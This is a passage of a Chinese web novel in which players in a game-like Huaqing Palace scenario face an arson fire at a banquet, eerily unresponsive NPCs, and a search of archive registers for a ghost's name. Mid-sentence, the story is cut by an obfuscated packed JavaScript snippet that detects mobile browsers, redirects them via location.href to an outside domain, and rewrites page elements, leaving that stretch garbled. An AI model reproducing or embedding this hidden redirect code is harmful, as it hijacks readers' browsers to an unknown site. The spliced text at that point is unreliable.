没有错,像前几夜梨园走水那样,这把目前还不知道点在何处的火一定是玩家或人机放的,但这可是梨园宴现场、所有重要NPC都在场的剧情关键节点! 放这把火的人疯了吗?不要命了吗?究竟想干什么? “你疯了吗?为什么忽然点火!” 东区侧门、梨园的近旁,仇非一把抓住龙池乐的手,厉声道。 “别激动,别激动,我们能解释。”商陆赶紧拦住她,赔着笑,“这都是有原因的。” “我没有疯,这就是破局之道。” 龙池乐目光灼灼,看着眼前跳动的烈火。 这把火异常凶猛,借着晚风,不过数息就窜起了几丈高,大有席卷一切的架势,之前付井仪在师襄居所点燃的那把火和它比起来,简直成了小打小闹。 “我们……就是要这样闹大!让‘鬼’知道,她的梦,终究只是一场梦而已,虚假的风平浪静,维持得了一时,也维持不了一世!” 这在仇非听来实在是非常荒谬,她其实可以理解龙池乐的想法,但这样不顾一切的危险举动,确实触碰到了她的忍耐底线。无论龙池乐和商陆之前在悄悄筹划着什么,仇非都可以无视,但这样的做法实在是太大胆了,尤其是重要NPC都在场的情况下,可以说,这样的行为几乎是让所有人和他们共同承担着死亡的危险! “快走。”卫山河深呼吸,压下情绪,尽量平静地低声道,“金吾卫和凌雪阁马上都会赶过来,到时候就没法脱身了。被NPC杀死还好,但如果被其他参与了刺虎行动的NPC发现,做出了出格行为的我们也会有被抹杀的风险。” “你放心,我很清楚我在做什么。” 龙池乐示意商陆松手,转过身看着仇非,定定道:“不会有事的,我们的手上有你们所没有的情报……不过还是得说一句对不起,事前没有和你们商量过,但有些事情必须一个人来做,如果太多人都参与进来,就失去特殊性了。” “特殊性”,仇非和卫山河都注意到了这个词,仇非眉头紧皱,没再接话,而是按捺下心头的怒火,和众人一起离开了现场。 并不像表面上看起来那样情绪激动,背对着身后的熊熊烈火,转身之时,她就恢复了冷静,甚至陷入了沉思。 那个能让龙池乐和商陆在此时铤而走险的秘密,所谓的特殊性……究竟是什么? 56. 第五天·华清宫(五十六) “嘿嘿,起火了呢,有意思。” 阿攸收回手站起身,小蜘蛛顺着她的指尖爬回到袖口之中。 “是侧门那里着的火,火势很大,来了好多NPC,那些玩家倒是没见几个,估计都跑掉了吧。” “那我们就从另一边进去。”兰瑾道。 无论火是谁放的、究竟是出于怎样的目的,对于不在梨园宴上的人来说,这场突如其来的大火,都给了他们自由行动的机会。 快到梨园时,兰瑾放慢脚步转过身,遥遥地看了一眼起火的地方。 烈火让冬日的风都炙热了起来,夜空被染成了暗红色,显得格外肃杀。这一幕和行宫中的深深花木、淙淙流水交错在一起,就有了一种格格不入的怪异感,仿佛旧日的一切都在被大火逐渐吞噬抹杀,成为历史时空中虚渺而不可捕捉的飞灰。 “啪!” 一声闷响,柳秋瑟眼神一厉,瞬间劈出一道刀墙横亘在众人面前,刀气散去之后,竟有一枚弩箭掉落在地。 这枚弩箭来得又急又准,显然发动攻击的人早就已经瞄准他们了,伏明叫道:“是之前和流岚交手过的唐门……后退一段距离!” 不用他说,几个人都能感觉到一股不容忽视的压迫力,那是一种被暗中锚定的危机感,仿佛弩箭下一秒就会从不知道哪个方向破空而来一样。 锁迹千里、追命无痕,就算他们是不畏惧死亡的人机玩家,也不想硬扛一记惊羽诀的凝形逐踪,四人飞快地退到射程之外,兰瑾淡淡道:“早有准备,应该不止一个人……看来他们是不打算让我们进去了。” “兰瑾,要不然我们先放弃这一轮。”柳秋瑟咬了咬唇,看了一眼近在咫尺的梨园,道,“这个团的人都是第五天的实力,比我们以前的对手们都要强一些,这张图的情况也很复杂,在这里掉等级太不划算了。” “我不!” 听到她这么说,阿攸第一个生气地叫了起来:“不可能!不行不行不行!什么强不强的,咱们之前不是干掉过一个吗?!而且他们都害得阿岚提前出局了,我才不要放过他们!” 她情绪激动,声音也跟着变得尖利起来,十分清晰地传出了一段距离,唐逐星伏在树冠中,还架着千机弩,闻言歪了歪头,就啧了一声:“真吵。” “看来他们队里也出现分歧了呢。”龙葵坐在他旁边,手中握着百草卷,也是一副蓄势待发的样子,“如果他们最后决定走了,不要去追,直接回头去帮其他人的忙。” “知道,杀人机玩家又没得奖励,我对那种事情不感兴趣。”唐逐星道,可惜这话配合着他半张面具后面露出的冷漠眼神,又端着螭首千机那么阴森森地往树干上一趴,实在是没什么说服力;至于另一边的殷炽更是重量级,板着脸往那里一杵,一声也不吭,要不是双手时刻握在链刃上准备着,简直就像一尊杀气四溢的雕塑,龙葵在他俩中间这么一对比,看起来简直无害极了。 “什么情况?他们既不过来,好像也不打算走。” 唐逐星道。 那个吵闹的毒经似乎被安抚住了,但人机玩家们却没有下一步的行动,一直停留在他的射程之外,看起来暂时没有要硬闯的意思。 “也许是在等吧……”龙葵犹疑道。 混乱无序的地方向来是人机的主场,他们也许在等待一个华清宫的秩序彻底崩溃的时刻。 远处的火势越来越大了,龙葵有种感觉,距离那个时候,应该不会太远了。 到底哪一件事会先来?剧情会先一步重启?NPC先扑灭大火?梨园宴先彻底失败?人机玩家会先行发难?又或者……大家先找到能够成功指认假“师襄”为鬼的线索? 不过此刻,正在对峙的几人并不知道,与他们只有一墙之隔、正在举办中的梨园宴,却陷入了一种阴森怪异的气氛之中。 “奇怪,怎么回事啊……” 曲小蕨浑身汗毛直竖,低声对裴洛川说。 起火点就在东区侧门,离梨园非常之近,而且火势不仅没有被压制,反而越来越大,她几乎都能感觉到呼吸间的空气都变得灼热起来,也能听到梨园外NPC们忙碌跑动、呼喊、救火的声音,然而这场梨园宴,只在最开始的时候有过一阵短暂的骚动,便立刻又恢复了正常。 ——不,也不能说是恢复正常,在这种情况下,正常才是最大的不正常! 这些NPC怎么回事?为什么完全没有该有的反应?没有一个人过问火情,也没有一个人提出质疑,没有人询问宴会要不要继续举办下去,就好像这场火根本不存在一样! 她环顾四周,感觉一股凉意直冲天灵盖。明明不远处的大火已经向着这边蔓延过来了,但梨园宴上的群臣百官、贵族亲眷们还是谈笑自若,仿佛一个个都变成了没有感官的木偶人,机械地重复着设定好的动作,甚至她一旦有了什么幅度过大的动作,周围的人还会齐齐扭头看过来,只是那目光中连该有的好奇也没有,似乎只是单纯地完成一个该完成的动作。 那些集中的毫无感情的视线,简直比噩梦还像噩梦。 “坐住。”裴洛川轻轻拉了她一下,提醒道。 既然周围的NPC都是这种表现了,那他们也不能对这场大火做出过大的反应,一旦被NPC察觉出异常,大概率就会因为违反规则而被抹杀。 不过,虽然是这么想的,但裴洛川打量着周围人的表现,心里跟曲小蕨一样,也是不寒而栗。 太诡异了,好像不知不觉进入了一个只有他们俩是真正活人的世界,周围这些人都是在努力学习正常人类的伪人,但是在这些伪人的眼里,恐怕他们俩才是混进来的异类。 但是为什么会这样呢?在第一轮剧情里,这些NPC面对突发状况时反应都很正常,而且真要认真说起来的话,明显第一轮的梨园宴上那个万牛奔腾的壮观场面更加离谱才对啊!面对那样的奇怪状况,NPC们的反应都十分符合常理,没道理对这场大火视而不见啊? 裴洛川死死地用余光锁定着宴席之首的帷幔,玄宗和贵妃就坐在那里面。夹杂着刺鼻焦糊气息的风不断摇动着帷幔,但里面的人对此没有任何一点反应,而下首的人们甚至还在谈笑。 这种感觉……这种感觉…… 就好像一个虚幻的世界终于露出了它真正面目的一角? “柳七刀,柳七刀!” 曲小蕨忽然在桌下摇了摇他的手,示意他看向另一边。 裴洛川顺势看过去,正在贴着墙根小步快跑,试图离开梨园的那个杂役打扮的人,不是柳七刀还能是谁? “他胆子是真大啊!”曲小蕨看着,不由得捏了一把汗。在这种诡异的环境下,她感觉自己的动作都是僵硬的,生怕下一秒这些NPC都变成华丽宫袍下一具具死去多时的骷髅围过来,但柳七刀竟然还敢乱走! 怕什么来什么,眼看着柳七刀都快跑到门口了,似乎是有宫人察觉到了他的行动,开始缓慢地围拢过去。看到这一幕,曲小蕨硬着头皮,心一横,清了清嗓子便大声道:“姐姐,我敬你一杯!” 她刻意放大了声音,顿时全场的NPC都停下了动作,齐刷刷地转过头,不约而同地看了过来。那种场面别提有多惊悚了,毫不夸张地说,曲小蕨端着杯子的手差点就哆嗦了一下。 “哈哈,谢谢妹妹……” 裴洛川僵硬地微笑着,和曲小蕨在无数NPC目不转睛的注视下碰了一下茶盏,感觉后背都快被冷汗浸湿了。 恐怕只有正在经历的人才能体会到这是一种多么可怕的感觉,一旦他们的行为被判定为不符合设定,那么在这么多NPC的注视下,他们一定会立刻被抹杀! 好在这样的行为显然在一场宴会中还算合理,NPC们在注视了他们俩一会儿后,又齐刷刷地将头转了过去,开始继续他们的聊天与谈笑,就好像什么事情也没发生过一样;而有了他们俩一打岔,柳七刀那边也成功地绕过了拦路的NPC,跑了出去。 “我也想跑……”曲小蕨抖着手把茶碗放下,哭丧着脸说。 裴洛川轻轻拍拍她的手背,也是欲哭无泪。他又何尝不想离开这个诡异的宴席?但刚刚他们完全是看到柳七刀马上要被拦住、一时情急,才大胆做出了吸引NPC注意力的举动;但那种被非人般的眼神紧紧注视着的感觉太恐怖了,很难说他们还有没有勇气故技重施第二次。 到底为什么会变成这样?好想念第一轮剧情上可以被用作防身道具的NPC们啊……! 他们这边怎么苦恼先不提,另一边,柳七刀总算是成功地离开了梨园宴。 他一开始混在杂役群里,站的位置靠近边墙,本身又一直全神贯注地警戒着,因此,在墙外有异动传来的时候,柳七刀是第一个发现的。 虽然备受诡异的NPC瞩目,但曲小蕨和裴洛川制造出来的动静并不算特别大,柳七刀完全没有留意到。他只是发现本来好像要拦住他的NPC突然被什么别的事情吸引了注意力,这才抓住机会赶紧跑了出去。 刚转过拐角,柳七刀肩膀一紧、脚下一轻,就被提溜起来了。 “抓紧!” 疾夜扇动双翼,艰难地滑行了一段距离后再度冲上天际,绕过四处飘散的滚滚浓烟,向梨园的东边径直飞去。方叱羽的声音自疾夜背上响起:“马上带你们去弘文馆,柳七刀你记性怎么样?平时看书多么?” 柳七刀抓住疾夜的脚爪,讷讷道:“上通识课会打盹……可以不?” “……呃,没关系,多一个人多一份力量。”方叱羽道。 柳七刀转过头,这才发现疾夜的另一只脚爪上也挂了一个人,看着十分眼熟:“诶,你是……” “纪空山,让你排恰鸡结果你排了个啥队。” 纪空山面无表情地自我介绍。 “所以我们去弘文馆干什么?” “说来话长,我就长话短说了。”方叱羽道,纪空山体型娇小,身材纤细,疾夜飞起来便不由自主地朝柳七刀的方向倾斜,飞行轨迹歪歪扭扭的,把他心疼坏了,语速也跟着变快,“我刚赶到梨园就遇到了陆厌,他告诉我,弘文馆太常库的名录里可能记载着鬼的真实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691204|173353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姓名,我们现在就要去找到这个名字,指认出附身在师襄身上的那个鬼。” “那感情好!陆厌是怎么知道的?”柳七刀好奇道。 “他和尹有攸、李千驰都知道,李千驰已经在那里找很久了,但是工作量太大,他一个人看不过来,所以需要更多人去帮忙。不过,名单这事这是谁说的来着……?”方叱羽冥思苦想,却怎么也想不起来,“算了,总之我们要做的,就是找到可疑的名字。” “可疑的标准怎么界定?”纪空山抓住了重点。 “不知道。”方叱羽讪讪地笑了一下,“但是浪客行不可能一点线索都不留给我们,据说太常库的名录上面会简单记录乐师的生平,到时候大概应该可以通过一些细节找出鬼的名字吧。” “可以。”纪空山点了点头,“查资料我擅长,到时候我会把所有可疑的名字整理出来,那个……柳七刀是吧,你来帮我做二次的筛选好了。” “……好,我尽量。”柳七刀汗流浃背,“虽然字多的东西我不是很擅长。” 方叱羽冷漠道:“要不我把你放下吧。” “你刚刚还说多一个人多一份力量!”柳七刀抗争道。 “是吗?可能我想说的是多一个人多一份重量吧……” 和喧嚣混乱的梨园不同,弘文馆这里几乎没有什么人在,灯火下树影萧萧,有一种格外寂静的感觉。 疾夜松开双爪,柳七刀和纪空山同时落到地面,紧接着,方叱羽也跳了下来。三个人环顾四周,总觉得这里似乎太过安静了一些,不由得放轻了脚步。 “一个人也没有吗?”纪空山已经将判官笔握在手中,全神戒备着周围的情况。 上一轮住过弘文馆的方叱羽比较有经验,轻轻地拍了拍疾夜的脖颈,让它自己找地方藏起来:“不对劲。虽然说这地方守卫一直很少,但也不至于完全没人。” “难道这里的NPC也出现了异变?”柳七刀将自己在梨园宴上的见闻简单分享了一下,“我总觉得他们的状态和上一轮剧情里那种突然全体戒备的模式还不太一样,怎么说呢……” “感觉好像被鬼附身了一样。”方叱羽幽幽道。 “难道是积攒在华清宫里的怨气终于开始无差别找人附身?”阅恐怖片无数的柳七刀不禁脑洞大开,“但是规则里说明了只有一个鬼啊。” “别胡思乱想了,鬼的身份已经非常明确,就是那个师襄。”纪空山无语道,她胆子很大,一点也没把柳七刀的话放在心上,“NPC变得奇怪,那就是到了某个剧情节点,怎么可能是怨气?” 说话间,他们已经走进了弘文馆的范围,这一路畅通无阻,简直就像在自家的后花园漫步,没有看到任何NPC出现。存放太常寺档案的府库在连廊的最深处,方叱羽提着灯在前面带路,非常顺利地就来到了太常库门前。 “但是柳七刀说得也没错,我好像确实感受到了一股怨气。” 他一边伸手推开门,一边正色道。 随着他的动作,厚重的大门发出令人牙酸的响声,积攒许久的落尘伴随着潮湿霉腐味的空气一股脑扑了出来,在昏黄的灯光里宛如一阵朦胧的雾气。柳七刀伸手拂开灰尘,定睛看去,这偌大的太常库中满是一眼望不到边的柜架和堆积如山的书册,而正对着他们的那排柜架的尽头,在微微晃动的烛火之下,竟然有一个瘦瘦高高的影子被映了出来,投在了墙面上。 在他的注视下,那个影子缓缓地动了起来,甚至还开口说话了。 “没错,你感觉到的就是我的怨气!” 李千驰从柜架后探出脑袋,大声道,对准笑着走过去的方叱羽的肩膀来了一拳:“你们终于来了,看这些小字看得我眼睛都要瞎了!” 他越过方叱羽的肩膀看到了柳七刀,一套丝滑连招,给柳七刀也来了一拳:“Hey!What''s up bro?你去了讲武殿之后就没有消息了,真吓人啊!” 柳七刀也挺开心,和他击了下掌:“差点被鬼带走了,还好碰到唐逐星和殷炽,又摸回来了……顺带一提不知道为什么听你喊bro,突然感觉好像忘记了什么……” “是吗?”李千驰没太在意,探头再看,跟纪空山打了个招呼,“你好啊。” “你好。” 纪空山应了一声,绕过李千驰,拿起刚刚他顺手放在架子上的名录,扫了一眼就合上放回了原位:“开元十五年之前的,都不用看,直接找十五年之后到天宝这个年号的记载。” “牛的,果然专业的事情还得是专业的人来干。” 李千驰感叹了一声,又提高声音:“你听到了吗?” “听到了,不用那么大声。” 尹有攸从另一边的柜架后转出来。 太常库少有人来,他和李千驰的武器都各自背在身上,纪空山的余光扫到他别在腰间的霜月明,眼神一凝,竟然晃神了一下,片刻过后,她才意识到另外三个人都在等她说话。 “灰尘太多,进到眼睛里了。”纪空山深吸一口气,“事不宜迟,继续吧。” 57. 第五天·华清宫(五十七) 付井仪拿着炭笔,微一沉吟,划去了耿飞云的名字。 看到他放下笔,周围屏住呼吸的其他人才纷纷松了一口气。 飞琼不解地看着众人:“至于吗你们?” “这位,和我们非姐一样,最强大脑。”谢不若朝付井仪的方向抬了抬下巴,“你说呢?” “仇非?也没有很厉害吧。”飞琼嘟囔道,“还不是一直跟在我们阿乐后面……” “——没关系,我们原谅你的不敬。” “——就像智者总会原谅她无知的信徒。” 祁云纵和谢不若一唱一和,勾肩搭背,阴恻恻地看着她,飞琼被盯得一阵恶寒,无语道:“行了行了,你们非姐最强行了吧,真幼稚。” “不要紧,你早晚会明白的。”祁云纵用悲天悯人的语气淡淡道。 飞琼捏着蠢蠢欲动的拳头,咬牙切齿:不知道为什么,这个剑纯说话总让人觉得好欠揍啊!好想给他一拳! 他们仨在这边闹腾,另一边,行守、叶九溪和祝灵正三人则认真地围坐在付井仪身旁,求知欲拉满。 “这个耿飞云是怎么被排除的?”行守好奇发问,“刚刚尹有攸手上的那本名录有记载吧。” “年龄对不上。”付井仪道,“纪空山之所以划定那个范围,应该也是通过年龄来排除的。‘师襄’所在的那支乐师队伍的坐部乐工,基本上都是年轻女子,看起来不会超过二十岁;现在是天宝十三年左右,而开元这个年号只用了二十九年,倒推一下,理论上来说,在开元二十二年之前便进入太常寺或梨园学艺的人都可以被排除掉。但年龄估算可能存在误差,为了保险起见,将范围扩大至开元十五年,是很谨慎的做法。” “怪不得她要其他人只看这个范围的记录。”叶九溪感慨,“想得可真周全啊。” 飞琼听见了这句,得意地哼哼了两声:“那当然了,我们空山可是专修古代文学的天才!” “挺厉害的嘛。”行守真诚道,“真巧,付老师是汉语言文字学古文字方向的高材生……” “我们非姐,警校!公安情报学!”谢不若不甘示弱,“嘎嘎强!” “这么巧吗?”叶九溪立刻道,“李千驰也是,不过他不是这个专业的……” 祝灵正有点迷茫地看着他们,不知道这股莫名其妙的攀比之风是从哪儿刮起来的。眼看众人的目光已经不约而同地看向了自己,似乎在等自己开口,他顿时浑身不自在起来。 “我对队友的隐私不感兴趣。”他小声说。 踌躇满志的一群人听到这句话,齐齐呆滞了一下。 付井仪摇了摇头,看到轮回珠的光芒又一次亮了起来,开口道:“准备进去吧。既然里世界会吸收他们的生命力,我们便一定要尽快找到鬼的真名,没有时间耽搁了。” 付井仪的话还是比较有说服力的,几个人也不再玩闹了,纷纷正坐,闭上眼睛,开始等待出魂入定的时机。 “说起来,小付老师,你是一早就知道表里世界之分吗?”叶九溪还是好奇,忍不住开口问道,“感觉你出来的时候好像一点也不惊讶,早有准备的样子。” “不知道,你们告诉我的事情,我都是第一次听说。”付井仪闭着眼睛,很平静地回答,“不惊讶,只是因为我已经做好了鬼会来找我的心理准备。” 听到他俩这么一说,祁云纵也好奇了:“不过按照你说的,你是从一开始就跟扮成师襄的鬼撕破脸了,它为什么会把你留到这么靠后的时间点?早点把你扔出来不是更好吗?” 这个问题也是飞琼想问的,她没忍住掀开眼皮看了祁云纵一眼,心说原来这个人还是长脑子的。 付井仪道:“首先,第二轮剧情伊始,它还需要玩家为华清宫提供养分,除了行守这种比较特殊的门派,它都容忍了一段时间;再者,大概是因为这个鬼,还保留着一部分人性……” 从他们在第五天遭遇的一系列事情来看,这个所谓的“鬼”,并不是荒魂镇里那种没有理智、无法沟通的鬼魂,它有自己的思想和行动,目的性明确,说是鬼,实际上却更加接近人,甚至具有人的喜怒哀乐。 “人性?”谢不若仿佛吃到了大瓜,脱口而出,“一直留着你算什么人性?难道说,它看上你了?” 他语出惊人,周围顿时响起众人倒吸凉气的声音。 “这没道理吧!”谢不若愤愤不平,“这个鬼可是从第二轮剧情开始,有空没空就追杀我啊!难道我不帅吗?” “鹅鹅鹅……” “祁云纵你再笑试试呢?”谢不若怒道。 “我没有笑,我在念诗。”祁云纵憋笑憋得声音都扭曲变调了,“曲项向天歌。” 付井仪也有点无语了,沉默了一瞬才开口:“……不是这方面的。之所以留下我,也许是出于一种炫耀的心理,也许是想得到自我证明,毕竟,这张地图和我们所扮演的角色都处在同一游戏背景里,在鬼的眼里,我们应该都是来自于各门各派的弟子,如果说作为宫廷乐师的鬼对其中哪个门派比较了解的话,显然就是长歌门了,比较之心,不可避免。我觉得鬼之所以选择师襄附身,应该也有这方面的考量。” 说到正事,大家又严肃起来,叶九溪感慨:“那师襄还挺倒霉的。” “也不能这么说。”付井仪道,“这更像是一种必然。如果没有师襄,或者说,没有符合条件的玩家,那么我们面对的第五天很可能就不是这样的规则和通关条件,甚至可能不是这张地图……” 在分析绥梦山这张图作为第二天的难度时,他们也得出过类似的结论,但这个话题再说下去就太复杂了,甚至可能涉及到整个浪客行的核心机制,以玩家们目前的经历和掌握的情报,还远远达不到能得出结论的程度。 付井仪话锋一转:“还是那句老话,浪客行应该不会提供没用的情报。鬼‘近似于人’的这个特性,也许对于我们通关会有帮助。虽然听上去似乎有点荒诞,但这说不定就是游戏为玩家们准备的一条生路,所以在寻找线索的同时,最好也多关注一下鬼的——” 他话说到一半,忽然听不到自己的声音了,身体也变得越来越轻,仿佛挣脱了形体上的束缚,融进了整个世界。伴随着一阵晕眩感,付井仪再度睁开眼,面前的光线摇摇晃晃,一片灰白,李千驰正背对着他骂骂咧咧地翻着书,旁边是尹有攸,眉毛拧得很紧,捏着书页,似乎是没想好该不该放过这一页。 ——师襄再度使用了轮回珠,他们也一并进入了里世界。 与此同时,里世界中的纪空山也在沉思。 这还是她第一次经历将“完成任务”作为通关条件的天数,虽然手里有老玩家的笔记,但是那本笔记毕竟被水浸泡得模糊不清了,能够掌握的信息,其实也不是很多。 前四天,要么是对玩家武力或默契的考验,要么就是将破解困境的细节藏在地图的各种提示里,就算没能破解出生路,只要等到十二时辰结束,就可以回到有间客栈。但第五天不一样,如果没有指认出鬼,玩家们会永远被困在华清宫。 纪空山隐隐有种感觉,这第五天并不是毫无时限的。如果没有任何惩罚,那玩家们大可以无限在此拖延时间,会有这么轻松的事吗?仔细想一想,再对比一下前四天的难度,傻子也知道这绝不可能。 不过,有一点她是很确定的,规则也很明确地写了出来:鬼,就是第五天结束的突破口。 这就是第五天和前四天的不同,前四天里,只要玩家们具有足够的自保能力,活到时间结束就可以,也就是所谓的“以力破巧”,所以,有些地图的潜在规则,其实并不需要多么精准的分析,只要躲过致命的关窍就可以;但鬼不一样,浪客行设置这样一个类似于关底BOSS的角色,很可能就是专门拿来给玩家判断和分析的,与其说它是BOSS,不如说它其实是一个立体的、复杂的、可以被深层次解读的谜题,而整个第五天,就建立在这个谜题之上。 她抬起眼,有点想找人聊聊,却见旁边一群专业不对口的外功还在愁眉苦脸、垂头丧气地翻着书,虽然人在,但是感觉魂已经走了一会儿了。 要是龙池乐在就好了,纪空山收回目光,皱起眉头。 单凭他们目前对鬼的了解,真的可以从这些名录里将鬼筛选出来吗?会不会还有什么被遗漏的线索? 鬼,到底是什么样的鬼? 如果从她的专业知识来看,可以说,除去一小部分反其道而行之的治愈系作品,大多数涉及到鬼的文艺作品,都将惊悚、恐怖、灵异等主题作为整体的基调,而鬼在这些文艺作品中自然也是作为负面形象而出现的。这样的鬼在角色构造上来说,不是彻底舍弃了人性,就是过度放大人性中某一种极端的情绪,以追求个体通过采取超越伦理和法律的行动与普适价值观碰撞所造成的极致冲突。鬼的行为逻辑,基本上是被诸如执念、怨恨等负面情感完全支配着的,而作品就是以这种无限放大的兼具非理性与非社会性的行动,来本能地引起观众的恐惧。 但如果将《浪客行·华清宫》也视为这样的文艺作品,就可以发现,第五天的鬼和人几乎没有什么区别,它甚至有明确的行为和情感倾向,也有自我的价值观念,甚至从规则的约束中也能看出来,第五天在强调着一种秩序性,这和将鬼视为无序混乱代表的一般理论并不相同。 难道这个鬼是可以沟通的吗?从他们目前经历的剧情来看,鬼的注意力或者说执念,非常明显地集中在梨园宴上。结合它抢占了师襄的身体这一点来看,目前它所做的一切,都是为了作为一个乐师参加这场盛会…… 那如果让它成功了,第五天,或者说华清宫,会变成什么样子? 纪空山本来是靠着柜架坐在地上的,想到这里,心里一惊,忽地站了起来。这动静把周围的其他人都吓了一跳,李千驰更是直接跳了起来:“怎么,怎么,有敌袭?” “如果在剧情发展的限定时间内找不到鬼,剧情就会重新开始。”她低声道,“剧情发展……发展……难道这也是线索吗?在这么不起眼的地方设置线索,是想让玩家全都死在这里吗?” “你在说什么啊?” 太常库本来就安静得吓人,说话都有回声,光线也不算明亮,再加上纪空山面色惨白、喃喃低语,氛围顿时就变得十分怪异,几个人寒毛都立起来了,纷纷抓紧手上的名册,靠得离彼此近了一点。 “发展和结束是一个意思吗?”纪空山忽然转过头问。 “当然不是一个意思了。”李千驰只觉得莫名其妙,“你不是很有文化么,你问我们?” “对,当然不是一个意思。”纪空山深吸了两口气,努力让自己的心情平复下来,“走,我们抓紧走,带着还没看完的名册回梨园。” “你是说,把这些名册都带出太常库?”方叱羽指了指他们整理出来的、符合时间线的一摞名册,“不会被NPC发现吗?” “顾不上那么多了,我们必须要阻止梨园宴。”纪空山一把抄起几本名册,试图放进小队背包里,但名册却被一股莫名的阻力排斥着,她也只好将它们塞进了衣襟中,解释道,“我刚刚想到了一个很可怕的可能性,第五天能够无限重启的前提条件是我们在剧情发展的时限内找不到鬼,但什么是‘剧情发展的时限内’?按照这鬼的执念来看,它很可能就是想参加一次梨园宴上的演出,假如这就是剧情,那它一旦成功就意味着剧情结束,结束的剧情还怎么发展?那样的话,我们就再也没有重启的机会了!” 柳七刀听得一头雾水,但还是跟着纪空山的动作收拾起地上的名册:“那怎么了?” “怎么了?”纪空山冷笑一声,“你们和鬼打过交道吗?感觉它危险吗?” 除了方叱羽,李千驰、柳七刀和尹有攸都是直面过鬼的,闻言就点了点头,柳七刀道:“说不危险,是挺吓人的,攻击性很强;但要说危险吧,它又吃技能,回避正面交锋。” “知道为什么吗?”纪空山已经把名册整理好,往几人怀里一人塞了一部分,“因为目前剧情还在发展阶段,它想要正式、完整地参加梨园宴,所以它和规则一样,都是华清宫秩序的维护者。我有理由相信,一旦剧情结束,鬼的夙愿达成,它会毫不犹豫地向我们这些外来的破坏者大开杀戒,但到了那时候,我们就已经没有重来的机会了。” 顿了顿,她补充道:“鬼不算NPC,被她杀死,我们可不能复活。” 无论玩家们先前分成了几股势力,如今的他们,就像被无形水流推动着聚集在一起的细沙,在此刻不约而同地向着梨园汇聚而来。 而现在的梨园,乍一看仍是一派风平浪静,歌舞升平、觥筹交错,如果不是身在其中,根本看不出连空气都快要停止流动的凝滞感。 哒,哒,哒。 在无数种嘈杂的声音里,这轻得几乎听不见的脚步声,却格外清晰地传入了曲小蕨的耳中。 她对外界的波谲云诡还一无所知,但听到这脚步声,握着茶杯的右手却开始不受控制地颤抖起来。那并不是因为恐惧或者其他的什么情绪影响,而是身体自发的戒备,是一种不可忽视的存在逐渐靠近时,情不自禁的本能反应。 裴洛川也注意到了那格外不同寻常的脚步声。他微微侧过头,看向正缓缓往水中心高台中间走去的那队乐师,目光很快锁定在其中熟悉的一张脸上。 “师襄?” 裴洛川一愣,但是很快,又否定了自己的想法。 “不对……那不是师襄。” 师襄,准确地说,那看起来是师襄的乐师,脚步声显而易见地属于她。 她正抱着一把琵琶,很正常地在队伍中走着,却有一种格格不入的违和,如果仔细观察就会发现,她似乎完全没有融入到周围的NPC那种刻板呆滞的氛围之中。 裴洛川无法说出来那到底是怎样的一种特殊感,但他和身边的曲小蕨一样,本来已经十分戒备的神经,又绷得更紧了一些。 如果一定要形容的话,这个师襄给人的感觉,就是极致的“目中无人”。 这种目中无人,不是指她有多么高傲,而是她好像完全不在意周围的事情,明明是作为一名即将上台表演的乐师行走在这属于皇家的壮丽行宫中,她表现得却比帷幕后的天子与贵妃更自然,这不是一个玩家该有的表现。 一直在华清宫外的裴洛川和曲小蕨并不知道,在今夜那场火之前,“师襄”要正常很多,不然,她的异常早就会被其他队友发现。 不过,虽然对此前的种种事情一无所知,但二人也知道,“师襄”的行为举止如此奇怪,这其中肯定有什么蹊跷,估计也不是什么好事。 还在熊熊燃烧的大火,已经逐渐向梨园的侧墙烧过来了,浓烟滚滚,火势冲天,但师襄目不斜视,似乎大火只是一块无关紧要的背景幕布。她跟随着前面乐师的脚步,一步一步跨过水面上的汀步,走到乐师台上自己的位置,慢慢地坐了下来,将琵琶斜倚在怀中,唇角微微露出一丝笑意。 而就在这紧张到极点的时刻,曲小蕨面前的茶杯,忽然再一次诡异地倾倒了,茶水迅速在桌面上蔓延开来。 这细微的动静吸引了同桌NPC的注意,但茶杯倒了并不会影响曲小蕨的身份设定,所以他们也只是稍微留意了一下,视线甚至没有半分好奇,很快就转过目光,继续像被操纵的提线木偶那样与同僚饮酒吟诗,谈笑风生。 事实上,曲小蕨紧紧抓住袖口,感觉心脏都要从嘴里跳出来了。 她僵硬着身子,不敢有什么幅度过大的动作,死死地盯着面前的茶水。 那茶水还没有完全濡湿桌布,水渍在桌面上缓缓地爬行着,竟然渐渐地变成了一笔一划的样子,就像是有一个看不见的人在她面前,用手指沾着水写字一样。 出乎意料的,她本来以为这种桥段下,出现在桌面上的该是什么“死死死”或者“轮到你了”,但面前的茶水被均匀地抹开,洇湿的痕迹十分清晰,出现的却是一行人名。 罗乔玉,倪莹,宁秀,阮珏,武英。 谁啊? 曲小蕨迷茫了。这排突然出现的陌生人名,她完全是第一次听说,一个都不认识。 她一头雾水地眨了眨眼睛,尽管内心焦急万分,却并不敢有什么太大的动作,在桌面下轻轻扯了扯裴洛川的衣袖,示意他看那些茶水的痕迹。 裴洛川看到那些突兀出现的人名,也是目光一凝,但很快就转变成了和曲小蕨如出一辙的茫然,微微摇了摇头。 这些名字……是什么玩意? 还没等他们琢磨出个所以然来,另一边,数面高大的鼓就被人推上了乐师台,鼓手们走到鼓前站定,高举起手中的鼓槌,紧跟其后的是四名舞者。这是《小破阵乐》即将开始表演的信号,在上一轮剧情里,他们只听到了报幕,乐曲还没有正式开始演奏时,梨园宴就被牛群完全破坏掉了。 不知道为什么,看着鼓手大臂肌肉鼓起、握紧鼓槌准备擂鼓,这简单的动作在眼中却好像被无限地拉长了,一种难以言喻的心悸感猛地窜上裴洛川的心头,就像这个普通的乐曲起手式,蕴藏着什么一旦开始就无法回头的危险。 眼看着鼓槌即将落在鼓面上,那种不安的感觉也达到了顶峰,但坐在NPC之中,裴洛川什么也做不了,只能眼睁睁地看着鼓手重重地敲响鼓面—— 嗤! 一声刺响,一枚弩箭破空而来,那厚实的鼓面竟然被拉开了一个巨大的口子,鼓槌落在上面顿时失了声音。 